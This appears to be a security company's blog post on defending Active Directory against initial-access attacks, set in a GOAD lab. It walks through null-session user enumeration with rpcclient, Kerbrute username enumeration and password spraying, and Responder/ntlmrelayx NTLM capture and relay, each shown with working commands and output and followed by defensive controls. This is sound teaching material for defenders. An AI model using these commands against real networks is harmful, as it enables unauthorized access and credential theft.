How to Make Adversaries Cry: Part 1
In the ever-evolving landscape of cybersecurity, defense against intruders requires constant vigilance and proactive measures. For organizations relying on Active Directory (AD) as their identity management solution, securing it is paramount. Adversaries skilled at exploiting vulnerabilities often find themselves frustrated when encountering robust security controls. In this blog post series, we’ll delve into high-level security controls within Active Directory that can make an adversary cry tears of frustration when attempting to establish their initial foothold. The areas covered in this blog post are SMB null sessions, username enumeration, password spraying, and abusing NTLM authentication.
Essentially, we want adversaries to be less 
, and more 
.
Lab Environment
The techniques shown in this blog post were demonstrated using the GOAD lab in conjunction with the Badblood tool.
Assumptions
This blog post assumes you, as the reader, have intermediate knowledge of industry best practices for Active Directory security management. If you need more information on the topics discussed, I encourage you to read the following blog posts.
Beyond the Basics: Exploring Uncommon NTLM Relay Attack Techniques | GuidePoint Security
SMB Null Sessions
The most common method adversaries use to establish the initial foothold is by exploiting SMB null sessions against a domain controller, with the purpose of extracting a full list of Active Directory domain users. The official description of the Pre-Windows 2000 Compatible Access group is “A backward compatibility group which allows read access on all users and groups in the domain.” Therefore, allowing adversaries to extract a full list of users for password spraying purposes with ease.
Using the rpcclient Linux tool, an attacker can extract all Active Directory usernames, as demonstrated below.
Note: The rpcclient flags are case-sensitive and perform the following actions:
- U: By specifying “” indicates null username.
- N: Execute command without a password.
- 192.168.12.10: Domain controller IP.
# rpcclient -U "" -N 192.168.12.10
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[labuser05] rid:[0x452]
user:[CHRISTINA_CONNER] rid:[0x453]
user:[GUADALUPE_HODGE] rid:[0x454]
user:[MICHELLE_POLLARD] rid:[0x455]
user:[JAYNE_HAWKINS] rid:[0x456]
.. SNIP ..To remediate this misconfiguration, remove the “Everyone” and/or “Anonymous Logon” special identity groups from the Pre-Windows 2000 Compatible Access group.
References
6.1.1.4.12.14 Pre-Windows 2000 Compatible Access Group Object
Username Enumeration and Password Spraying
Username Enumeration
Adversaries use username enumeration in Active Directory environments to identify valid domain user accounts. This technique typically involves querying the Active Directory service through various means, such as LDAP queries, SMB connections, or web-based login portals, and then analyzing the system’s responses. For example, verbose error messages that differentiate between non-existent and incorrect usernames provide valuable information to the attacker.
In the below example, the statistically-likely-usernames file john.smith.txt is being downloaded from GitHub, then modified to support a <firstname, underscore, lastname> format, which is then output to a file named john_smith.txt.
# wget https://raw.githubusercontent.com/insidetrust/statistically-likely-usernames/master/john.smith.txt
# sed 's/\./_/' john.smith.txt | tee john_smith.txtNext, the Kerbrute tool was used with the newly created wordlist and identified a total of 228 valid users.
Note: The Kerbrute tool flags are case-sensitive and perform the following actions:
- d: Domain name.
- dc: Active Directory domain controller.
- john_smith.txt: File of formatted usernames created in the previous step.
# ./kerbrute_linux_amd64 userenum -d lab.local --dc 192.168.12.10 john_smith.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 06/25/24 - Ronnie Flathers @ropnop
2024/06/25 12:26:32 > Using KDC(s):
2024/06/25 12:26:32 > 192.168.12.10:88
2024/06/25 12:26:33 > [+] VALID USERNAME: [email protected]
2024/06/25 12:26:33 > [+] VALID USERNAME: [email protected]
2024/06/25 12:26:33 > [+] VALID USERNAME: [email protected]
2024/06/25 12:26:33 > [+] VALID USERNAME: [email protected]
2024/06/25 12:26:33 > [+] VALID USERNAME: [email protected]
.. SNIP ..
2024/06/25 12:26:58 > Done! Tested 248231 usernames (228 valid) in 25.606 secondsPassword Spraying
Password spraying in an Active Directory context involves an adversary attempting to gain unauthorized access by trying commonly used passwords across multiple Active Directory accounts. Unlike traditional brute force attacks that target a single account, password spraying reduces the risk of detection and account lockouts by testing a small number of frequently used passwords (such as “Password123” or “Welcome1”) against many different accounts.
Note: The Kerbrute tool flags are case-sensitive and perform the following actions:
- d: Domain name.
- dc: Active Directory domain controller.
- ad-users.txt: File with domain usernames.
- Welcome1: Password to spray against the list of domain users.
# ./kerbrute_linux_amd64 passwordspray -v -t 1 -d lab.local --dc 192.168.12.10 ad-users.txt 'Welcome1'
.. SNIP ..
2024/06/25 01:04:22 > [+] VALID LOGIN: [email protected]:Welcome1
.. SNIP ..
2024/06/25 01:04:22 > Done! Tested 513 logins (1 successes) in 4.498 secondsDefense Techniques
To defend against username enumeration and password spraying, organizations should consider the following:
- Password Policy: Enforce strong, complex password policies and consider using multi-factor authentication (MFA) to add an extra layer of security. Also, implement account lockout policies that restrict access after a defined number of failed login attempts.
- Authentication Auditing and Logging: Regularly monitor and audit authentication attempts to detect suspicious activities via event IDs 4768 and 4771.
- Microsoft Entra Password Protection: Microsoft Entra Password Protection prevents the use of known weak passwords and their variants. When deployed on-premises, it utilizes the global banned password lists stored in Microsoft Entra ID.
References
Password Spraying Mitigations in Azure
Combined password policy and weak password check in Azure Active Directory
Enforce on-premises Microsoft Entra Password Protection for AD Domain Services
NTLM Authentication Abuse
NTLM (New Technology LAN Manager) relaying is a network attack where an adversary intercepts and forwards authentication requests to gain unauthorized access to network resources. NTLM, a challenge-response authentication protocol used in Windows environments, is vulnerable to this type of attack because it allows authentication messages to be forwarded from one system to another. The relay of authentication messages enables attackers to authenticate to services on behalf of legitimate users without ever knowing their passwords, effectively bypassing security mechanisms.
NTLM relaying is possible through a Machine-in-the-Middle (MitM) attack, where a properly positioned attacker can intercept network traffic from legitimate users and capture NTLM authentication requests. The attacker then forwards (relays) the intercepted authentication request to another service on the network where the attacker wants to gain access. This destination service treats the authentication request as coming from the legitimate user. If the relayed request is accepted by the target service, the attacker gains access with the privileges of the legitimate user, enabling them to perform actions such as accessing sensitive data and executing commands under the context of that user account.
Furthermore, Windows devices utilize NetBIOS, LLMNR and/or mDNS to identify hosts in the absence of a DNS server. These protocols communicate over broadcast/multicast channels and are susceptible to network traffic poisoning attacks, which adversaries leverage to coerce users and computers to authenticate to an attacker-controlled machine performing MitM activities.
In a nutshell, when a user attempts to connect to a resource that accepts NTLM/Kerberos authentication, such as SMB shares and Windows-based web servers, and the configured DNS servers can’t resolve the hostname, the workstation sends a broadcast/multicast message to the local network. A few of the most common reasons a DNS server can’t resolve a hostname are because of the following:
- DNS request aren’t in the fully qualified domain name (FQDN) format.
- DNS request/response latency.
- DNS record truly doesn’t exist.
There are two approaches to NTLM relaying: coercing a user to authenticate to the attacker machine and effectively capturing the user’s NetNTLM hash for offline cracking or relaying authentication attempts to a network service.
In the below example, the Responder tool is used to capture NetNTLMv2 hashes. The next phase involves password cracking, and–with any luck–the password is cracked, indicating that the attacker has recovered the plaintext equivalent of the user account’s credentials.
Note: The Responder tool flags are case-sensitive and perform the following actions:
- P: Force NTLM Basic authentication.
- d: Enable answers for DHCP broadcast requests.
- v: Enable verbose logging.
# python3 Responder.py -I eth0 -Pdv
..SNIP..
[*] [MDNS] Poisoned answer sent to 192.168.12.12 for name lab-web01.local
[*] [MDNS] Poisoned answer sent to 192.168.12.12 for name lab-web01.local
[*] [LLMNR] Poisoned answer sent to 192.168.12.12 for name lab-web01
[*] [LLMNR] Poisoned answer sent to 192.168.12.12 for name lab-web01
[HTTP] Sending NTLM authentication request to 192.168.12.12
[HTTP] GET request from: ::ffff:192.168.12.12 URL: /
[HTTP] NTLMv2 Client : 192.168.12.12
[HTTP] NTLMv2 Username : LAB\labuser05
[HTTP] NTLMv2 Hash labuser05::LAB:1122334455667788:3C876E5CB436AFF31E999B077ABA8C45:01010000000000004A49A973F2A2DA01A13650A990842E0A0000000002000800310056004F00320001001E00570049004E002D00460058005500350047004200550051004B003700510004001400310056004F0032002E004C004F00430041004C0003003400570049004E002D00460058005500350047004200550051004B00370051002E00310056004F0032002E004C004F00430041004C0005001400310056004F0032002E004C004F00430041004C0008003000300000000000000000000000002000001D43F057FFB05F772A3FB9DA971ADF30DE12DFA6928BFC58834793B762ECCB590A0010004BCE1EAA6704966ABADD10D96E90AB7C0900280048005400540050002F006C00610062002D00770065006200300031002E006C006F00630061006C000000000000000000While the password cracking phase is underway, attackers are performing NTLM relaying attacks, as demonstrated below.
In this example, the Responder and Ntlmrelayx tools are used together to perform an NTLM authentication relaying attack against a network service.
First, the attacker configures the Responder tool to not start an SMB server to listen for inbound SMB traffic. With your favorite terminal editor, open the Responder.conf file, navigate to the Servers to start section, locate the SMB line and change it from On to Off.
[Responder Core]
; Poisoners to start
MDNS = On
LLMNR = On
NBTNS = On
; Servers to start
SQL = On
SMB = Off
RDP = On
HTTP = Off
.. SNIP ..Second, start Responder with the same flags as before.
# python3 Responder.py -I eth0 -Pvd
..SNIP..
[*] [LLMNR] Poisoned answer sent to 192.168.12.12 for name LAB-TSET
[*] [LLMNR] Poisoned answer sent to 192.168.12.12 for name LAB-TSET
[*] [MDNS] Poisoned answer sent to 192.168.12.12 for name LAB-TSET.local
[*] [MDNS] Poisoned answer sent to 192.168.12.12 for name LAB-TSET.local
[*] [LLMNR] Poisoned answer sent to 192.168.12.12 for name LAB-TSET
[*] [LLMNR] Poisoned answer sent to 192.168.12.12 for name LAB-TSET
[*] [MDNS] Poisoned answer sent to 192.168.12.12 for name LAB-TSET.local
[*] [MDNS] Poisoned answer sent to 192.168.12.12 for name LAB-TSET.local
[*] [LLMNR] Poisoned answer sent to 192.168.12.12 for name LAB-TSET
[*] [LLMNR] Poisoned answer sent to 192.168.12.12 for name LAB-TSET
[*] [NBT-NS] Poisoned answer sent to 192.168.12.12 for name LABTSET (service: File Server)Third, configure proxychains to use port 1080. If not already installed and using the Kali OS, install proxychains via apt-get, as demonstrated below.
# apt-get install proxychains -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
.. SNIP ..
The following NEW packages will be installed:
libproxychains3 proxychains
.. SNIP .. Once installed, use your favorite terminal editor to open the file /etc/proxychains.conf and change the last line to use port 1080, as demonstrated below.
socks4 127.0.0.1 1080The final step is to start Ntlmrelayx with the SOCKS option to relay NTLM authentication attempts to domain controller 192.168.12.10.
Over time, a successful socks session will be established as a legitimate user. In this example, the AdminStatus state is set to TRUE. This indicates to the attacker the established connection operating under the user context of LabUser05 has administrator-level privileges. From here, the attacker would attempt lateral movement techniques to gain further access to the network. Lateral movement defenses will be discussed in a future blog post.
Note: The Ntlmrelayx tool flags are case-sensitive and perform the following actions:
- 6: Listen on both IPv6 and IPv4.
- t: Target to relay to. In this scenario, we are relaying to a domain controller.
- smb2support: Enable SMB2 support.
- socks: Launch a SOCKS proxy for the connection relayed.
- of: Where to store collected hashes.
# ntlmrelayx.py -6 -t 192.168.12.10 -smb2support -socks -of captured_hashes.txt
..SNIP..
[*] Authenticating against smb://192.168.12.10 as LAB/LABUSER05 SUCCEED
[*] SOCKS: Adding LAB/[email protected](445) to active SOCKS connection. Enjoy
ntlmrelayx> socks
Protocol Target Username AdminStatus Port
-------- ------------- ------------- ----------- ----
SMB 192.168.12.10 LAB/LABUSER05 TRUE 445Defense Techniques
To defend against NTLM relaying, organizations should implement the following security measures:
- Disable NTLM: This can be configured via Group Policy settings in Active Directory. It is the hardest security control to deploy but is the best protection against all NTLM-based attacks.
- Deploy SMBv3 and Enforce SMB Signing: SMB 3+ includes security enhancements that can help protect against various types of attacks, including NTLM relaying. SMB signing helps to prevent tampering and ensures that the communication is coming from a trusted source.
- Enable Extended Protection for Authentication (EPA): For IIS sites that accept NTLM authentication, enabling EPA adds an extra layer of security by binding the authentication to the specific context of the connection, making it harder to relay.
- Use Network Segmentation and Firewalls: Segment the network and use firewalls to control traffic between different segments, limiting an attacker’s ability to intercept and relay authentication traffic.
- Monitor and Audit Authentication Traffic: Regularly monitor and audit authentication traffic for signs of suspicious activity. Tools that analyze network traffic can help detect anomalies associated with NTLM relaying attacks.
References
NTLM Overview | Microsoft Learn
mDNS in the Enterprise – Microsoft Community Hub
SMB security enhancements | Microsoft Learn
How to Defend Users from Interception Attacks via SMB Client Defense (microsoft.com)Disable NetBIOS over TCP/IP by using DHCP – Windows Server | Microsoft Learn
Conclusion
Incorporating robust security controls within Active Directory significantly raises the bar for adversaries, making it challenging for them to penetrate, abuse network protocols, and exploit vulnerabilities. By implementing the security controls mentioned, organizations can further strengthen their defenses and make adversaries cry tears of frustration as they encounter barriers to their malicious activities.
If you need assistance with configuring Active Directory security controls in your environment to protect against these attacks, reach out to us and ask about our Active Directory Security Review offering.
Future Blog Posts
This multi-post blog series is just getting started! Stay tuned for upcoming posts on the following exciting topics
- Lateral movement defenses.
- Active Directory privileges and permissions.
- Active Directory Certificate Service (ADCS) defenses.
- System Center Configuration Manager (SCCM) defenses.